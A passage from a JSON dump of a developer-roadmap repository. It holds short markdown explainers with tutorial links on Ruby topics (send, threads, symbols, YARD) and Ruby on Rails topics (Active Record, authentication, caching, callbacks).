    "content": "# Searching and Filtering in Enumerable\n\n`Enumerable` comes with some methods that allow you to select specific elements from a collection based on certain criteria. This allows you to extract subsets of data that meet your desired conditions, making it easier to work with large datasets or focus on relevant information. Common operations include finding the first element that satisfies a condition, selecting all elements that match a pattern, or rejecting elements that don't meet specific requirements.\n\nVisit the following resources to learn more:\n\n- [@article@module Enumerable](https://ruby-doc.org/3.4.1/Enumerable.html#top)\n- [@article@Getting to know Ruby's Enumerable Module](https://www.rafaelmontas.com/getting-to-know-ruby-enumerable-module/)\n- [@article@Understanding Ruby - Enumerable - Searching and Filtering](https://dev.to/baweaver/understanding-ruby-enumerable-searching-and-filtering-23o7)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/send@5uayAWgKAYW_mJiMxuXmK.md",
    "content": "# Send\n\n`send` in Ruby is a method that allows you to call other methods on an object dynamically by their name, which is passed as a symbol or string. It essentially bypasses the usual method call syntax, enabling you to invoke methods at runtime based on conditions or data. This provides a powerful way to write flexible and adaptable code.\n\nVisit the following resources to learn more:\n\n- [@article@Metaprogramming with the send Method in Ruby](https://medium.com/nyc-ruby-on-rails/meta-programming-with-the-send-method-in-ruby-e88d568f868)\n- [@video@send in ruby](https://www.youtube.com/watch?v=cY-wxg5z5bA)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/setting-things-up@Av5hlCtE-ZoeKpS0k3kLA.md",
    "content": "# Installing Ruby\n\nInstalling Ruby involves setting up the Ruby interpreter and related tools on your system so you can run Ruby programs. This typically includes downloading a Ruby distribution, configuring your environment, and verifying the installation to ensure everything is working correctly. Different operating systems (like Windows, macOS, and Linux) have their own preferred methods for installing Ruby, often involving package managers or dedicated installers.\n\nVisit the following resources to learn more:\n\n- [@official@Installing Ruby](https://www.ruby-lang.org/en/documentation/installation/)\n- [@article@Installing Ruby](https://www.theodinproject.com/lessons/ruby-installing-ruby)\n- [@article@How to Install Ruby on Windows, macOS, and Linux](https://dev.to/luigi_ichi/how-to-install-ruby-on-windows-macos-and-linux-35o3)\n- [@article@Setting up Ruby on WSL2 using Rbenv](https://codex.org/2022/08/19/setting-up-ruby-wsl2.html)\n- [@video@Ruby Beginner Tutorial 2 | How To Install Ruby On Windows](https://www.youtube.com/watch?v=XC1ccTyhLPI)\n- [@video@Ruby Beginner Tutorial 3 | How To Install Ruby On MacOS](https://www.youtube.com/watch?v=2pycF6hMy0s)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/sinatra@XI-1114QVFgALBF9VAb99.md",
    "content": "# Sinatra\n\nSinatra is a lightweight and flexible Domain Specific Language (DSL) for creating web applications in Ruby with minimal effort. It provides a simple way to map routes to Ruby code, allowing developers to quickly build web applications without the complexity of larger frameworks. Sinatra emphasizes convention over configuration, making it easy to get started and build small to medium-sized web applications.\n\nVisit the following resources to learn more:\n\n- [@official@Sinatra](https://sinatrarb.com/)\n- [@opensource@sinatra](https://github.com/sinatra/sinatra)\n- [@article@How to Use Sinatra to Build a Ruby Application](https://blog.appsignal.com/2023/05/31/how-to-use-sinatra-to-build-a-ruby-application.html)\n- [@article@Tutorial: Run a Sinatra application](https://www.jetbrains.com/help/ruby/sinatra.html)\n- [@video@Sinatra Ruby Gem](https://www.youtube.com/watch?v=sfw5ZPowLJY&list=PL1sGH26TWrxot1_zsMNqb1lYbS54-OzVU)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/singleton-classes@WNiD4Tllt2uDncEVPg8Pm.md",
    "content": "# Singleton Classes\n\nA singleton class in Ruby is a special kind of class that is associated with a single object. It allows you to define methods that are specific to that particular object, without affecting other objects of the same class. Think of it as a way to add unique behavior to an individual object instance.\n\nVisit the following resources to learn more:\n\n- [@article@Explaining Ruby's Singleton Class (Eigenclass) to confused beginners](https://dev.to/samuelfaure/explaining-ruby-s-singleton-class-eigenclass-to-confused-beginners-cep)\n- [@article@Better Know A Ruby Thing: Singleton Classes](https://noelrappin.com/blog/2025/01/better-know-a-ruby-thing-singleton-classes/)\n- [@video@The Singleton Pattern in Ruby](https://www.youtube.com/watch?v=IP3I_t2rR6A)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/sorting-algorithms@hD6uldPLaedTvUwAWKFYY.md",
    "content": "# Sorting Algorithms\n\nSorting algorithms are methods used to rearrange a collection of items (like numbers, strings, or objects) into a specific order, such as ascending or descending. These algorithms work by comparing elements and swapping their positions until the entire collection is ordered according to the desired criteria. Different sorting algorithms have varying efficiencies and are suitable for different types and sizes of data.\n\nVisit the following resources to learn more:\n\n- [@article@Sorting Algorithms with Ruby](https://dev.to/daviducolo/sorting-algorithms-with-ruby-4o18)\n- [@article@Sorting Algorithms in Ruby](https://www.sitepoint.com/sorting-algorithms-ruby/)\n- [@video@Ruby Sorting Algorithms](https://www.youtube.com/playlist?list=PLVVKl6q0Euw62GGkbh5PNSlEm37Lft9Re)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/sorting@knmTmlDbyRwZKxuIIVbwn.md",
    "content": "# Sorting in Enumerable\n\nThe `Enumerable` module in Ruby provides several methods for sorting collections. These methods allow you to arrange elements in ascending or descending order based on their natural ordering or a custom comparison logic. The most common sorting methods include `sort`, which returns a new sorted array, and `sort_by`, which sorts based on the result of a block applied to each element. You can also use `min`, `max`, `minmax` to find the smallest, largest, or both smallest and largest elements in a collection, respectively.\n\nVisit the following resources to learn more:\n\n- [@article@module Enumerable](https://ruby-doc.org/3.4.1/Enumerable.html#top)\n- [@article@Understanding Ruby - Enumerable - Sorting and Comparing](https://dev.to/baweaver/understanding-ruby-enumerable-sorting-and-comparing-fff)\n- [@article@Sorting short sequences with Enumerable#sort_by](https://silvercat.com/blog/sort-by-unexpected-ordering)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/stacks---queues@wcw4QurFUczUKnyBPpnr5.md",
    "content": "# Stacks & Queues\n\nStacks and queues are fundamental data structures used to manage collections of items. A stack operates on the Last-In, First-Out (LIFO) principle, where the last element added is the first one removed, like a stack of plates. Conversely, a queue follows the First-In, First-Out (FIFO) principle, where the first element added is the first one removed, similar to a waiting line. In Ruby, these can be implemented using arrays or custom classes to manage data in a specific order.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction: Stacks and Queues](https://codesignal.com/learn/courses/mastering-complex-data-structures-in-ruby/lessons/exploring-stacks-and-queues-in-ruby)\n- [@article@Stack, Queue and Deque Data Structures in Ruby](https://medium.com/@paulndemo/stack-queue-and-deque-data-structures-in-ruby-64ce9a546247)\n- [@article@How to Use Stacks in Ruby to Solve Problems](https://www.rubyguides.com/2017/03/computer-science-in-ruby-stacks/)\n- [@video@Introduction to Stacks and Queues (Data Structures & Algorithms #12)](https://www.youtube.com/watch?v=A3ZUpyrnCbM)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/standard@Wf6AYAz8gTpaj6ZfOxoZM.md",
    "content": "# Standard\n\nStandard is a Ruby gem that automatically formats and lints Ruby code, aiming to enforce a consistent style across projects. It combines the functionality of linters like RuboCop with an auto-formatter, providing a single tool to ensure code adheres to a predefined set of style rules. By automatically fixing style issues, Standard helps developers focus on writing code rather than debating formatting preferences.\n\nVisit the following resources to learn more:\n\n- [@opensource@standard](https://github.com/standardrb/standard)\n- [@article@Getting Started with StandardRB](https://betterstack.com/community/guides/scaling-ruby/standardrb-explained/)\n- [@video@Lint & Format Messy Ruby Code Using Standard](https://www.youtube.com/watch?v=zQ4BiObOf2U&t=28s)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/strings@F-0Rxwu_RcNF_NOoFHoo7.md",
    "content": "# Strings\n\nStrings are sequences of characters used to represent text. They are a fundamental data type for storing and manipulating textual information. Strings can contain letters, numbers, symbols, and spaces, and are typically enclosed within single or double quotes.\n\nVisit the following resources to learn more:\n\n- [@official@class String](https://docs.ruby-lang.org/en/master/String.html)\n- [@article@Strings](https://ruby-for-beginners.rubymonstas.org/built_in_classes/strings.html)\n- [@article@Strings - Odin Project](https://www.theodinproject.com/lessons/ruby-basic-data-types#strings)\n- [@video@Working With Strings | Ruby | Tutorial 8](https://www.youtube.com/watch?v=9HB4iIAxuh0)\n- [@video@Strings and Variables in Ruby for Beginners 2](https://www.youtube.com/watch?v=cSwq_lcCs78)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/symbols@U-V-MNSnIL17Imug_iFvE.md",
    "content": "# Symbols\n\nSymbols are lightweight, immutable strings often used as identifiers or names within a Ruby program. Unlike regular strings, symbols are guaranteed to be unique; Ruby only creates one copy of a symbol, regardless of how many times it's referenced. This makes them efficient for tasks like hash keys or representing states, where comparing identity is more important than comparing content. They are typically written with a colon prefix, like `:my_symbol`.\n\nVisit the following resources to learn more:\n\n- [@official@class Symbol](https://docs.ruby-lang.org/en/master/Symbol.html)\n- [@article@Symbols](https://ruby-for-beginners.rubymonstas.org/built_in_classes/symbols.html)\n- [@article@What Are Ruby Symbols & How Do They Work?](https://www.rubyguides.com/2018/02/ruby-symbols/)\n- [@video@Ruby's Symbols Explained](https://www.youtube.com/watch?v=mBXGBbEbXZY&t=16s&pp=ygUMc3ltbm9scyBydWJ5)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/testunit@Tzf1uJDIeIjPAVleVe_yx.md",
    "content": "# Test::Unit\n\nTest::Unit is a testing framework for Ruby, providing a structure for writing and running tests. It allows developers to define test cases as methods within classes, making it easy to organize and execute tests to verify the correctness of their code. Test::Unit includes assertions to check expected outcomes and report failures, helping ensure code quality and reliability.\n\nVisit the following resources to learn more:\n\n- [@article@Test::Unit](https://ruby-doc.org/stdlib-3.1.0/libdoc/test-unit/rdoc/Test/Unit.html)\n- [@article@TestUnit - Writing Test Code In Ruby (1/3)](https://dev.to/exampro/testunit-writing-test-code-in-ruby-part-1-of-3-44m2)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/threads@H4Cz_4xcMJmU0UwvEhNIn.md",
    "content": "# Threads\n\nThreads are a way to achieve concurrency within a single process. They allow multiple parts of a program to execute seemingly simultaneously by sharing the same memory space. This can improve performance by utilizing multiple CPU cores or by allowing a program to remain responsive while performing long-running tasks."
  },
  {
    "path": "src/data/roadmaps/ruby/content/threads@xJ_F95dKmaRKE42yQ2R-r.md",
    "content": "# Threads\n\nThreads allow you to run multiple blocks of code seemingly at the same time within a single program. Think of them as lightweight processes that share the same memory space. This means they can access the same variables and objects, making it easier to share data, but also requiring careful management to avoid conflicts when multiple threads try to modify the same data simultaneously.\n\nVisit the following resources to learn more:\n\n- [@official@Thread](https://docs.ruby-lang.org/en/master/Thread.html)\n- [@article@How to Use Ruby Threads: An Easy To Understand Tutorial](https://www.rubyguides.com/2015/07/ruby-threads/)\n- [@article@Untangling Ruby Threads](https://thoughtbot.com/blog/untangling-ruby-threads)\n- [@video@Magesh, \"Concurrency in Ruby: Threads, Fibers, and Ractors Demystified\"](https://www.youtube.com/watch?v=LVHiq_SbQOE)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/times@1NIxWfLiaXKNZJSmrudPv.md",
    "content": "# Times Loop\n\nThe `times` method in Ruby is a simple way to execute a block of code a specified number of times. It's called on an integer, and the block is executed that many times, with an optional block variable representing the current iteration number (starting from zero). It provides a concise way to repeat actions without needing to explicitly manage a counter variable.\n\nVisit the following resources to learn more:\n\n- [@article@Times loop](https://www.theodinproject.com/lessons/ruby-loops#times-loop)\n- [@article@Ruby Explained: Iteration](https://eriktrautman.com/posts/ruby-explained-iteration)\n- [@video@#20 Ruby Tutorial - For Loop and its Alternative .each loop](https://www.youtube.com/watch?v=0Bp-91lv-zw)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/type-casting@5ThpsSMnFZUxWV1Y2Z75A.md",
    "content": "# Type Casting\n\nType casting, also known as type conversion, is the process of changing a value from one data type to another. This is often necessary when you need to perform operations that require specific data types or when you want to represent data in a different format. For example, you might need to convert a string representation of a number into an actual integer or float to perform mathematical calculations.\n\nVisit the following resources to learn more:\n\n- [@article@Ruby type conversion](https://kddnewton.com/2021/09/09/ruby-type-conversion.html)\n- [@article@How To Convert Data Types in Ruby](https://www.digitalocean.com/community/tutorials/how-to-convert-data-types-in-ruby)\n- [@article@Confident Code - Ruby Implicit and Explicit Type Converters](https://whatapalaver.co.uk/ruby-implicit-explicit-type-conversion)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/type-casting@NjCor7ePiZapd4f6bMZlV.md",
    "content": "# Type Casting\n\nType casting, also known as type conversion, is the process of changing a value from one data type to another. This is often necessary when you need to perform operations that require specific data types or when you want to represent data in a different format. For example, you might need to convert a string representation of a number into an actual integer or float to perform mathematical calculations.\n\nVisit the following resources to learn more:\n\n- [@article@Ruby type conversion](https://kddnewton.com/2021/09/09/ruby-type-conversion.html)\n- [@article@How To Convert Data Types in Ruby](https://www.digitalocean.com/community/tutorials/how-to-convert-data-types-in-ruby)\n- [@article@Confident Code - Ruby Implicit and Explicit Type Converters](https://whatapalaver.co.uk/ruby-implicit-explicit-type-conversion)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/unless@MrPUYjPaz2F7c77GoPmue.md",
    "content": "# Unless\n\n`unless` is a conditional statement in Ruby that executes a block of code only if a specified condition is false. It's essentially the opposite of `if`. If the condition provided to `unless` evaluates to false, the code block is executed; otherwise, the code block is skipped. It provides a more readable way to express negative conditions.\n\nVisit the following resources to learn more:\n\n- [@article@Unless statements](https://www.theodinproject.com/lessons/ruby-conditional-logic#unless-statements)\n- [@article@Read This Post 'Unless' You're Not A Ruby Developer](https://jesseduffield.com/Unless/)\n- [@video@Ruby Programming Tutorial - 16 - unless](https://www.youtube.com/watch?v=2iysMciUQpw)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/until@OVPm4SgT7wvapUNWKQOdH.md",
    "content": "# Until Loop\n\nThe `until` loop in Ruby executes a block of code as long as a specified condition is false. It repeatedly runs the code within the loop until the condition becomes true. Think of it as the opposite of a `while` loop; where `while` loops continue as long as the condition is true, `until` loops continue as long as the condition is false.\n\nVisit the following resources to learn more:\n\n- [@article@Until loop](https://www.theodinproject.com/lessons/ruby-loops#until-loop)\n- [@article@5.3 Until Loops](https://www.oreilly.com/library/view/computer-science-programming/9781449356835/fivedot3_until_loops.html)\n- [@article@Ruby - Loops](https://www.tutorialspoint.com/ruby/ruby_loops.htm)\n- [@video@Ruby Programming Tutorial | Until Loops](https://www.youtube.com/watch?v=Y32UnAPHJm4)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/vs-code@9_KhHCWRDTNl1nroot_Ri.md",
    "content": "# VS Code Ruby Extension\n\nThe VS Code Ruby extension enhances the Visual Studio Code editor with features specifically designed for Ruby development. It provides functionalities like syntax highlighting, code completion, debugging support, linting, and formatting, making it easier for developers to write, test, and maintain Ruby code within the VS Code environment. This extension streamlines the development workflow and improves code quality by offering real-time feedback and assistance.\n\nVisit the following resources to learn more:\n\n- [@official@Ruby in Visual Studio Code](https://code.visualstudio.com/docs/languages/ruby)\n- [@article@Best Visual Studio Code extensions and settings for Ruby and Rails](https://achris.me/posts/setup-ruby-vscode/)\n- [@article@Ruby Development with VS Code](https://medium.com/@terrenceong/ruby-development-with-vs-code-fab258db5f1d)\n- [@video@How to Set Up VS Code for Ruby](https://www.youtube.com/watch?v=Zw4wdDLMAIw)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/while@xO2RCVIxZprDgEW4-O9n9.md",
    "content": "# While Loops in Ruby\n\nA `while` loop in Ruby repeatedly executes a block of code as long as a specified condition is true. It checks the condition before each iteration, and if the condition is false from the start, the code block is never executed. This makes it suitable for situations where you want to execute code an unknown number of times until a certain condition is met.\n\nVisit the following resources to learn more:\n\n- [@article@While Loops](https://www.theodinproject.com/lessons/ruby-loops#while-loop)\n- [@article@Ruby while Loop](https://www.programiz.com/ruby/while-loop)\n- [@video@While Loops | Ruby | Tutorial 21](https://www.youtube.com/watch?v=3bXd6h8Zsfk)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/yard@EDfqLvVxq-PIqb1eGYL20.md",
    "content": "# YARD\n\nYARD (Yet Another Ruby Documentation) is a documentation generation tool for the Ruby programming language. It allows developers to create comprehensive and consistent documentation for their Ruby projects by parsing source code and extracting information based on specially formatted comments. YARD generates output in various formats, including HTML, making it easy to browse and share project documentation.\n\nVisit the following resources to learn more:\n\n- [@official@YARD](https://yardoc.org/)\n- [@official@Getting Started](https://rubydoc.info/gems/yard/file/docs/GettingStarted.md)\n- [@opensource@yard](https://github.com/lsegal/yard)\n- [@article@YARD for Ruby Beginners: A Documentation Guide](https://medium.com/@swastik.thapaliya/yard-for-ruby-beginners-a-documentation-guide-d276b919fc12)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/accessibility@dvL7HRXMqs2NOuTtfHeXM.md",
    "content": "# Accessibility\n\nAccessibility, often shortened to A11y, focuses on designing and developing websites and applications that are usable by people with disabilities. This includes individuals with visual, auditory, motor, or cognitive impairments, ensuring they can perceive, understand, navigate, and interact with web content effectively. Implementing accessibility involves following established guidelines and best practices to create inclusive digital experiences."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/action-views@NyByCB4J4hk7rN7nrp1dv.md",
    "content": "# Action Views\n\nAction View is the view component of the Ruby on Rails framework. It's responsible for rendering the user interface, typically in HTML, but also in other formats like XML or JSON. It handles tasks such as template rendering, layout management, and helper methods to simplify the creation of dynamic web pages.\n\nVisit the following resources to learn more:\n\n- [@official@Action View Overview](https://guides.rubyonrails.org/action_view_overview.html)\n- [@article@Views](https://www.theodinproject.com/lessons/ruby-on-rails-views#introduction)\n- [@article@Rails Views — The V in MVC](https://medium.com/@tafby88/rails-views-the-v-in-mvc-71e04d017791)\n- [@video@Action View in Rails](https://www.youtube.com/watch?v=n2X_75Jja1A)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/active-record@ig8gCcieQF923NKhNyaNA.md",
    "content": "# Active Record\n\nActive Record is the ORM (Object-Relational Mapping) layer within Ruby on Rails. It acts as an interface between your Ruby code and the database. Instead of writing raw SQL queries, you use Active Record's methods to interact with your database tables as if they were Ruby objects. This allows you to create, read, update, and delete data in a more intuitive and object-oriented way, simplifying database interactions within your Rails application.\n\nVisit the following resources to learn more:\n\n- [@official@Active Record Query Interface](https://guides.rubyonrails.org/active_record_querying.html#what-is-the-active-record-query-interface-questionmark)\n- [@article@Active Record Queries](https://www.theodinproject.com/lessons/ruby-on-rails-active-record-queries)\n- [@article@Advanced Queries in ActiveRecord for Ruby on Rails](https://blog.appsignal.com/2025/02/26/advanced-queries-in-activerecord-for-ruby-on-rails.html)\n- [@video@Ep 4. Active Record explained | Rails New Tutorial with Typecraft](https://www.youtube.com/watch?v=n0TPEsKE9v0)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/advanced-asset-management@8Jbs2XpIL-Nd-tr2f0AJ8.md",
    "content": "# Advanced Asset Management\n\nYou can use advanced asset management techniques to optimize and organize your application's assets (images, stylesheets, JavaScript files) beyond the basic functionality provided by the asset pipeline. This includes strategies like using CDNs for faster delivery, implementing asset versioning for cache busting, precompiling assets for production environments, and employing tools for minification and compression to reduce file sizes and improve performance. It also covers techniques for organizing assets into logical groups and managing dependencies between them.\n\nVisit the following resources to learn more:\n\n- [@official@Advanced Asset Management](https://guides.rubyonrails.org/asset_pipeline.html#advanced-asset-management)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/aggregations@C8A-30h1xJBFLhD182H89.md",
    "content": "# Aggregations\n\nAggregations in Active Record allow you to derive summary information from your database records. This involves performing calculations like finding the average, minimum, maximum, or sum of values across a set of records, or counting the number of records that meet certain criteria. These calculations are typically performed directly within the database for efficiency and can be easily accessed through your Rails models.\n\nVisit the following resources to learn more:\n\n- [@official@Grouping](https://guides.rubyonrails.org/active_record_querying.html#grouping)\n- [@official@Calculations](https://guides.rubyonrails.org/active_record_querying.html#calculations)\n- [@article@Grouping and Aggregating](https://backend.turing.edu/module2/lessons/grouping_and_aggregating)\n- [@video@SQL Learning Path - Group By Statement](https://www.youtube.com/watch?v=KdI1IPVJlHg)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/app@BiVYxjVr2OhmnglHz_kVZ.md",
    "content": "# App Directory\n\nThe `app` directory in a Rails application is the heart of your project, containing the core logic and components that define its behavior. It's where you'll find the code responsible for handling user requests, interacting with the database, and rendering views. This directory is organized into subdirectories, each dedicated to a specific aspect of the application, such as models, views, and controllers."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/assets-pipeline@EcGyLolDRJJra4PDWlQjJ.md",
    "content": "# Assets Pipeline\n\nThe Assets Pipeline in Rails provides a structured way to manage and pre-process assets like stylesheets, JavaScript files, and images. It bundles, minifies, and compresses these assets to improve website performance by reducing the number of requests and the size of the files that need to be downloaded by the browser. It also allows you to use features like automatic CSS prefixing and CoffeeScript compilation.\n\nVisit the following resources to learn more:\n\n- [@official@The Asset Pipeline](https://guides.rubyonrails.org/asset_pipeline.html)\n- [@article@The Asset Pipeline](https://www.theodinproject.com/lessons/ruby-on-rails-the-asset-pipeline)\n- [@article@Rails Asset Pipeline](https://medium.com/@tali.scheer/rails-asset-pipeline-ab441688616a)\n- [@article@Understanding the Asset Pipeline in Ruby on Rails](https://webcrunch.com/posts/understanding-asset-pipeline-ruby-on-rails)\n- [@video@A Quick and Easy Guide to the Asset Pipeline in Rails 7](https://www.youtube.com/watch?v=cQQH9sEhnnY)\n- [@video@Understanding The Rails Asset Pipeline](https://www.youtube.com/watch?v=maTYAac1ESI)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/authentication@WqjcBTzbU4iFpYVp1-ptv.md",
    "content": "# Authentication\n\nAuthentication in Rails verifies the identity of users, ensuring they are who they claim to be before granting access to protected resources. It typically involves checking user credentials, like a username and password, against stored data to confirm their validity. Upon successful verification, a user session is created, allowing the application to remember the user across multiple requests without repeatedly asking for credentials. This process helps secure the application by restricting access to authorized users only.\n\nVisit the following resources to learn more:\n\n- [@official@Authentication](https://guides.rubyonrails.org/security.html#authentication)\n- [@article@Rails Authentication: Gems vs. Recipes vs. Generators](https://masilotti.com/rails-authentication/)\n- [@article@Authentication and Authorization in Ruby on Rails](https://medium.com/@zachlandis91/authentication-and-authorization-in-ruby-on-rails-c44c1ccea94d)\n- [@video@Securing your app with the default Authentication Generator | Rails 8 Unpacked](https://www.youtube.com/watch?v=4q1RWZABhKE)\n- [@video@How to Use Authentication in Ruby on Rails 8](https://www.youtube.com/watch?v=uGllXLfRx60)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/authorization@xz-xEwqyvJgTKvjpmXeOH.md",
    "content": "# Authorization\n\nAuthorization determines what a user is allowed to do within an application. It focuses on verifying if a user has the necessary permissions to access specific resources or perform certain actions. This process happens after authentication, which confirms the user's identity and dictates the level of access granted based on their role or attributes.\n\nVisit the following resources to learn more:\n\n- [@article@Complete Guide To Managing User Permissions In Rails Apps](https://www.honeybadger.io/blog/complete-guide-to-managing-user-permissions-in-rails-apps/)\n- [@article@Implementing Role-Based Access Control (RBAC) in Rails: A Comprehensive Guide](https://medium.com/@er.sumitsah/implementing-role-based-access-control-rbac-in-rails-a-comprehensive-guide-752194c8bffe)\n- [@article@Authentication and Authorization in Ruby on Rails](https://www.shakacode.com/blog/mastering-authorization-in-rails-with-pundit/)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/background-jobs@Mj4SxEsrQZz6zIKos1hyk.md",
    "content": "# Background Jobs in Rails\n\nBackground jobs allow you to perform time-consuming tasks outside of the main request-response cycle. This means your web application can remain responsive and quickly handle user requests, while the longer tasks are processed in the background. Rails achieves this using Active Job, a framework for declaring jobs and making them run on a variety of queuing backends like Sidekiq, Resque, or even a simple in-memory queue for development. This abstraction allows developers to write job logic once and easily switch between different background processing systems as needed.\n\nVisit the following resources to learn more:\n\n- [@official@Active Job Basics](https://guides.rubyonrails.org/active_job_basics.html)\n- [@article@Rails Background Jobs — Reconstruct Your Application](https://medium.com/@hasnatraza.dev/rails-background-jobs-reconstruct-your-application-ccaef2860552)\n- [@article@A Simple Guide to Background Jobs in Ruby on Rails](https://www.bluebash.co/blog/simple-guide-to-background-jobs-in-ruby-on-rails/)\n- [@video@Manage asynchronous tasks with Solid Queue | Rails 8 Unpacked](https://www.youtube.com/watch?v=ReyKfb12EVU)\n- [@video@Testing Active Job in Ruby on Rails](https://www.youtube.com/watch?v=7ieeu0r27ig)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/basic-queries@Ddikj7KylZSoqsdAsd380.md",
    "content": "# Basic Queries in Active Record\n\nActive Record provides a powerful and intuitive interface for interacting with databases in Rails applications. Basic queries allow you to retrieve data from your database tables using simple and expressive methods. These methods enable you to find records based on various criteria, such as specific IDs, attribute values, or more complex conditions, forming the foundation for data retrieval operations within your Rails application.\n\nVisit the following resources to learn more:\n\n- [@official@Active Record Query Interface](https://guides.rubyonrails.org/active_record_querying.html)\n- [@article@Active Record Queries](https://www.theodinproject.com/lessons/ruby-on-rails-active-record-queries)\n- [@article@Advanced Queries in ActiveRecord for Ruby on Rails](https://blog.appsignal.com/2025/02/26/advanced-queries-in-activerecord-for-ruby-on-rails.html)\n- [@article@Query Like a Pro: Active Record for Database Queries](https://dev.to/minchulan/exploring-rails-active-record-and-querying-with-relational-databases-3p2g)\n- [@video@Ep 4. Active Record explained | Rails New Tutorial with Typecraft](https://www.youtube.com/watch?v=n0TPEsKE9v0)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/better-errors@yUwMPqnV5ZqV7eCL0bkfs.md",
    "content": "# Better Errors\n\nBetter Errors is a Ruby gem that enhances the standard Rails error page with more detailed and interactive debugging information. It provides a richer debugging experience by displaying source code snippets, allowing you to inspect variables, and even execute code directly within the error page. This makes it easier to understand the cause of errors and quickly identify solutions during development."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/bin@6HV1KoHTSeEE1-f6IeWB4.md",
    "content": "# bin Directory\n\nThe `bin` directory in a Rails application contains executable scripts that are specific to your application. These scripts are typically used for tasks like starting the server, running tests, or performing other administrative operations. They provide a convenient way to interact with your Rails application from the command line."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/byebug@SFGRkOuEMFxOJ4UU_Ti8L.md",
    "content": "# Byebug\n\nByebug is a powerful debugger for Ruby. It allows you to step through your code, set breakpoints, inspect variables, and evaluate expressions in real-time, helping you identify and fix errors in your Ruby applications. It's a gem that integrates directly into your Ruby environment, providing a command-line interface for debugging."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/caching@fjROKLDD5h6Vp0zXgJ5Y0.md",
    "content": "# Caching\n\nCaching is a technique used to store copies of frequently accessed data in a temporary storage location, like memory, to reduce the need to retrieve the data from its source, such as a database or external API, every time it's requested. This results in faster response times and reduced load on the original data source.\n\nVisit the following resources to learn more:\n\n- [@official@Caching with Rails: An Overview](https://guides.rubyonrails.org/caching_with_rails.html)\n- [@article@An Introduction to HTTP Caching in Ruby On Rails](https://blog.appsignal.com/2024/08/14/an-introduction-to-http-caching-in-ruby-on-rails.html)\n- [@article@Mastering Low Level Caching in Rails](https://www.honeybadger.io/blog/rails-low-level-caching/)\n- [@article@Types of Caching in Rails](https://tadhao.medium.com/types-of-caching-in-rails-cba708aae679)\n- [@video@Fragment and Collection Cache in Ruby on Rails 7](https://www.youtube.com/watch?v=t4bugdvKEag)\n- [@video@Easy caching with Solid Cache | Rails 8 Unpacked](https://www.youtube.com/watch?v=mA6somzKYEg)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/callbacks@xgJCbwDNWPbYV2bCILRo0.md",
    "content": "# Callbacks\n\nCallbacks are methods that get called at certain moments in the lifecycle of an Active Record object. These moments can include creation, updating, deletion, validation, or saving. By using callbacks, you can trigger logic before or after these actions, allowing you to perform tasks like data validation, auditing, or related object updates automatically\n\nVisit the following resources to learn more:\n\n- [@official@Active Record Callbacks](https://guides.rubyonrails.org/active_record_callbacks.html)\n- [@article@Active Record Callbacks | The Odin Project](https://www.theodinproject.com/lessons/ruby-on-rails-active-record-callbacks)\n- [@article@Rails ActiveRecord Callbacks — cheatsheet & best practices](https://medium.com/@jaysadiq/rails-activerecord-callbacks-cheatsheet-55fdb37f76ef)\n- [@article@Ruby on Rails ActiveRecord Callbacks](https://dev.to/eapenzac/ruby-on-rails-activerecord-callbacks-597a)\n- [@video@Understanding Active Record Callbacks](https://www.youtube.com/watch?v=1-31AlGv96Y)\n- [@video@Callbacks](https://www.youtube.com/watch?v=GLBMfB8N1G8)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/cancancan@0dPBO4cZFWvE3rSHEW1OJ.md",
    "content": "# CanCanCan\n\nCanCanCan is an authorization library for Ruby on Rails applications that restricts what resources a given user is allowed to access. It provides a simple and declarative way to define abilities, based on the user's role and the resource being accessed. This allows developers to easily manage permissions and ensure that users can only perform actions they are authorized to do."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/cancancan@3fA4RoDm2NFUK0EWFy-eP.md",
